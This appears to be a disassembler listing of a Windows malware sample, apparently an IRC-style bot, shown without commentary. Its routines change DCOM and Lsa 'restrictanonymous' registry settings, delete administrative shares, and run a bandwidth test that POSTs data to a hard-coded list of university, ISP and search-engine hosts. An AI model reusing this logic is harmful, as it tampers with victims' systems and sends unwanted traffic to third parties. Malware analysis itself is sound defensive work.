= dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A21 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433C04 push esi call dword_4CB710 test eax, eax jz loc_419D5F push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5F lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5F mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB8DC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2710000h test eax, eax jz short loc_419D5F push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D808 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2660C3Bh nop test eax, eax jnz short loc_419D67 loc_419D5F: ; CODE XREF: sub_419C65+2Fj ; sub_419C65+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E15 ; --------------------------------------------------------------------------- loc_419D67: ; CODE XREF: sub_419C65+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB8D8, eax mov eax, [ebp+var_8] mov dword_4DB8E0, eax mov eax, [ebp+var_2C] mov dword_4DB8D4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB918, eax jz short loc_419DA1 push [ebp+arg_4] jmp short loc_419DA2 ; --------------------------------------------------------------------------- loc_419DA1: ; CODE XREF: sub_419C65+135j push ebx loc_419DA2: ; CODE XREF: sub_419C65+13Aj push offset dword_4DB8E4 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_43A09C call sub_40B0F7 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E598[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B10 push esi push esi call near ptr 2680098h nop cmp eax, esi mov dword_43E5A4[edi], eax jnz short loc_419E13 call near ptr 2680ABEh nop push eax lea eax, [ebp+var_378] push offset unk_43A068 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AD add esp, 10h loc_419E13: ; CODE XREF: sub_419C65+185j xor eax, eax loc_419E15: ; CODE XREF: sub_419C65+FDj pop edi pop esi pop ebx leave retn sub_419C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E61 call sub_419E7A jmp short loc_419E66 ; --------------------------------------------------------------------------- loc_419E61: ; CODE XREF: sub_419E1A+3Ej call sub_41A19E loc_419E66: ; CODE XREF: sub_419E1A+45j add esp, 10h push [ebp+var_14] call sub_40B413 pop ecx push 0 nop call near ptr 26E0000h sub_419E1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E7A proc near ; CODE XREF: sub_419E1A+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB724, edi jnz loc_419FAC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 test eax, eax jnz short loc_419F05 mov ax, word_438E18 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 test eax, eax jz short loc_419EE7 push offset dword_43A338 jmp short loc_419EEC ; --------------------------------------------------------------------------- loc_419EE7: ; CODE XREF: sub_419E7A+64j push offset dword_43A318 loc_419EEC: ; CODE XREF: sub_419E7A+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_419F18 ; --------------------------------------------------------------------------- loc_419F05: ; CODE XREF: sub_419E7A+36j lea eax, [ebp+var_214] push offset dword_43A2E8 push eax call sub_41B886 pop ecx pop ecx loc_419F18: ; CODE XREF: sub_419E7A+89j cmp [ebp+arg_C], edi jnz short loc_419F37 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_419F37: ; CODE XREF: sub_419E7A+A1j lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 test eax, eax jnz short loc_419FA5 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB678 test eax, eax jz short loc_419F87 push offset dword_43A298 jmp short loc_419F8C ; --------------------------------------------------------------------------- loc_419F87: ; CODE XREF: sub_419E7A+104j push offset dword_43A264 loc_419F8C: ; CODE XREF: sub_419E7A+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_419FBF ; --------------------------------------------------------------------------- loc_419FA5: ; CODE XREF: sub_419E7A+E2j push offset dword_43A228 jmp short loc_419FB1 ; --------------------------------------------------------------------------- loc_419FAC: ; CODE XREF: sub_419E7A+13j push offset dword_43A1F8 loc_419FB1: ; CODE XREF: sub_419E7A+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBF: ; CODE XREF: sub_419E7A+129j cmp [ebp+arg_C], edi jnz short loc_419FDE push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_419FDE: ; CODE XREF: sub_419E7A+148j lea eax, [ebp+var_214] push eax call sub_4151AD cmp dword_4CB74C, edi pop ecx jnz loc_41A159 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A001: ; CODE XREF: sub_419E7A+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB598 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09E cmp eax, 0EAh jz short loc_41A09E mov esi, offset off_43A0C0 loc_41A032: ; CODE XREF: sub_419E7A+21Dj push dword ptr [esi] push edi call sub_418C6C pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A049 push offset dword_43A1D4 jmp short loc_41A04E ; --------------------------------------------------------------------------- loc_41A049: ; CODE XREF: sub_419E7A+1C6j push offset dword_43A1A8 loc_41A04E: ; CODE XREF: sub_419E7A+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A081 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A081: ; CODE XREF: sub_419E7A+1EBj lea eax, [ebp+var_214] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset dword_43A0E0 jb short loc_41A032 jmp loc_41A136 ; --------------------------------------------------------------------------- loc_41A09E: ; CODE XREF: sub_419E7A+1AAj ; sub_419E7A+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12D loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A122 push edi call sub_418B59 push eax push 0 call sub_418C6C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DC push offset dword_43A184 jmp short loc_41A0E1 ; --------------------------------------------------------------------------- loc_41A0DC: ; CODE XREF: sub_419E7A+259j push offset dword_43A158 loc_41A0E1: ; CODE XREF: sub_419E7A+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A115 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A115: ; CODE XREF: sub_419E7A+27Fj lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx loc_41A122: ; CODE XREF: sub_419E7A+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AD xor edi, edi loc_41A12D: ; CODE XREF: sub_419E7A+22Dj push [ebp+var_8] call dword_4CB6E4 loc_41A136: ; CODE XREF: sub_419E7A+21Fj cmp [ebp+var_10], 0EAh jz loc_41A001 lea eax, [ebp+var_214] push offset dword_43A130 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16C ; --------------------------------------------------------------------------- loc_41A159: ; CODE XREF: sub_419E7A+177j lea eax, [ebp+var_214] push offset dword_43A100 push eax call sub_41B886 pop ecx pop ecx loc_41A16C: ; CODE XREF: sub_419E7A+2DDj cmp [ebp+arg_C], edi jnz short loc_41A18A push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A18A: ; CODE XREF: sub_419E7A+2F5j lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB724, ebx push esi jnz loc_41A2CC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 test eax, eax jnz short loc_41A229 mov ax, word_438E5C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 test eax, eax jz short loc_41A20B push offset dword_43A4B0 jmp short loc_41A210 ; --------------------------------------------------------------------------- loc_41A20B: ; CODE XREF: sub_41A19E+64j push offset dword_43A494 loc_41A210: ; CODE XREF: sub_41A19E+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_41A23C ; --------------------------------------------------------------------------- loc_41A229: ; CODE XREF: sub_41A19E+36j lea eax, [ebp+var_220] push offset dword_43A2E8 push eax call sub_41B886 pop ecx pop ecx loc_41A23C: ; CODE XREF: sub_41A19E+89j cmp [ebp+arg_C], ebx jnz short loc_41A25B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A25B: ; CODE XREF: sub_41A19E+A1j lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 test eax, eax jnz short loc_41A2C5 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB678 test eax, eax jz short loc_41A2A7 push offset dword_43A454 jmp short loc_41A2AC ; --------------------------------------------------------------------------- loc_41A2A7: ; CODE XREF: sub_41A19E+100j push offset dword_43A41C loc_41A2AC: ; CODE XREF: sub_41A19E+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_41A2DF ; --------------------------------------------------------------------------- loc_41A2C5: ; CODE XREF: sub_41A19E+E2j push offset dword_43A3E0 jmp short loc_41A2D1 ; --------------------------------------------------------------------------- loc_41A2CC: ; CODE XREF: sub_41A19E+13j push offset dword_43A1F8 loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DF: ; CODE XREF: sub_41A19E+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FE push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A2FE: ; CODE XREF: sub_41A19E+144j lea eax, [ebp+var_220] push eax call sub_4151AD cmp dword_4CB74C, ebx pop ecx jnz loc_41A473 push edi mov esi, offset off_43A0C0 mov edi, 200h loc_41A322: ; CODE XREF: sub_41A19E+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BC0 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33D push offset dword_43A3C0 jmp short loc_41A342 ; --------------------------------------------------------------------------- loc_41A33D: ; CODE XREF: sub_41A19E+196j push offset dword_43A398 loc_41A342: ; CODE XREF: sub_41A19E+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A371 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A371: ; CODE XREF: sub_41A19E+1B7j lea eax, [ebp+var_220] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset off_43A0D0 jb short loc_41A322 nop call near ptr 2820C73h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45B loc_41A39C: ; CODE XREF: sub_41A19E+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A450 cmp bl, 41h jz loc_41A450 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB6B4 cmp eax, 3 jnz short loc_41A450 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BC0 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40E push offset dword_43A3C0 jmp short loc_41A413 ; --------------------------------------------------------------------------- loc_41A40E: ; CODE XREF: sub_41A19E+267j push offset dword_43A398 loc_41A413: ; CODE XREF: sub_41A19E+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A443 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A443: ; CODE XREF: sub_41A19E+289j lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx loc_41A450: ; CODE XREF: sub_41A19E+206j ; sub_41A19E+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39C loc_41A45B: ; CODE XREF: sub_41A19E+1F8j lea eax, [ebp+var_220] push offset dword_43A368 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A473: ; CODE XREF: sub_41A19E+173j lea eax, [ebp+var_220] push offset dword_43A100 push eax call sub_41B886 pop ecx pop ecx loc_41A486: ; CODE XREF: sub_41A19E+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A4 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19E endp ; =============== S U B R O U T I N E ======================================= sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp ; sub_41A6AF+DDp ... arg_0 = dword ptr 4 nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p ; sub_41A6AF+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AB push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAFA add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AB push 50h call dword_4CB654 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB6D4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AB lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_41A6AB push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433F14 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62B mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FB ; --------------------------------------------------------------------------- loc_41A5F8: ; CODE XREF: sub_41A4D2+157j mov eax, [ebp+arg_0] loc_41A5FB: ; CODE XREF: sub_41A4D2+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60B push [ebp+var_C] jmp short loc_41A60C ; --------------------------------------------------------------------------- loc_41A60B: ; CODE XREF: sub_41A4D2+132j push ebx loc_41A60C: ; CODE XREF: sub_41A4D2+137j add eax, esi push eax push [ebp+var_4] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_41A692 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F8 loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_42770C fst [ebp+arg_0] fcomp flt_427708 fnstsw ax sahf jnz short loc_41A653 fld1 fstp [ebp+arg_0] loc_41A653: ; CODE XREF: sub_41A4D2+17Aj push [ebp+var_4] call dword_4CB6EC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_427704 fmul flt_427700 call sub_41C798 loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A692: ; CODE XREF: sub_41A4D2+149j push [ebp+var_4] call dword_4CB6EC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AB: ; CODE XREF: sub_41A4D2+19j ; sub_41A4D2+42j ... xor eax, eax jmp short loc_41A68D sub_41A4D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B8 push [ebp+eax*4+var_3C] call sub_41A4D2 push 8 mov esi, eax call sub_41A4B8 push [ebp+eax*4+var_3C] call sub_41A4D2 add esp, 10h test esi, esi jz short loc_41A7B0 test eax, eax jz short loc_41A7AC lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j mov ebx, esi jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j mov ebx, eax loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj ; sub_41A6AF+FFj push 0Ch call sub_41A4B8 push [ebp+eax*4+var_6C] call sub_41A4D2 push 0Ch mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_6C] call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A7EA test eax, eax jz short loc_41A7E6 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej mov esi, edi jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj mov esi, eax loc_41A7EC: ; CODE XREF: sub_41A6AF+135j ; sub_41A6AF+139j push 6 call sub_41A4B8 push [ebp+eax*4+var_1C] call sub_41A4D2 push 6 mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_1C] call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A824 test eax, eax jz short loc_41A820 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A820: ; CODE XREF: sub_41A6AF+168j mov ecx, edi jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A824: ; CODE XREF: sub_41A6AF+164j mov ecx, eax loc_41A826: ; CODE XREF: sub_41A6AF+16Fj ; sub_41A6AF+173j xor eax, eax test ebx, ebx jz short loc_41A833 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A836 ; --------------------------------------------------------------------------- loc_41A833: ; CODE XREF: sub_41A6AF+17Bj push 2 pop edi loc_41A836: ; CODE XREF: sub_41A6AF+182j test esi, esi jz short loc_41A83E add eax, esi jmp short loc_41A83F ; --------------------------------------------------------------------------- loc_41A83E: ; CODE XREF: sub_41A6AF+189j dec edi loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj test ecx, ecx jz short loc_41A847 add eax, ecx jmp short loc_41A848 ; --------------------------------------------------------------------------- loc_41A847: ; CODE XREF: sub_41A6AF+192j dec edi loc_41A848: ; CODE XREF: sub_41A6AF+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A508 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_26C] push eax call sub_4151AD add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AF endp ; =============== S U B R O U T I N E ======================================= sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p ; sub_401ACD+2A11p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2690AA5h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB920 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D066Bh test eax, eax jz short loc_41A988 cmp [ebp+var_90], 4 jnz short loc_41A95E cmp [ebp+var_8C], esi jnz short loc_41A946 cmp [ebp+var_84], 1 jnz short loc_41A939 push 1 pop esi loc_41A939: ; CODE XREF: sub_41A8F5+3Fj cmp [ebp+var_84], 2 jnz short loc_41A988 push 1 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A946: ; CODE XREF: sub_41A8F5+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A953 loc_41A94F: ; CODE XREF: sub_41A8F5+78j push 2 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A953: ; CODE XREF: sub_41A8F5+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A988 jmp short loc_41A978 ; --------------------------------------------------------------------------- loc_41A95E: ; CODE 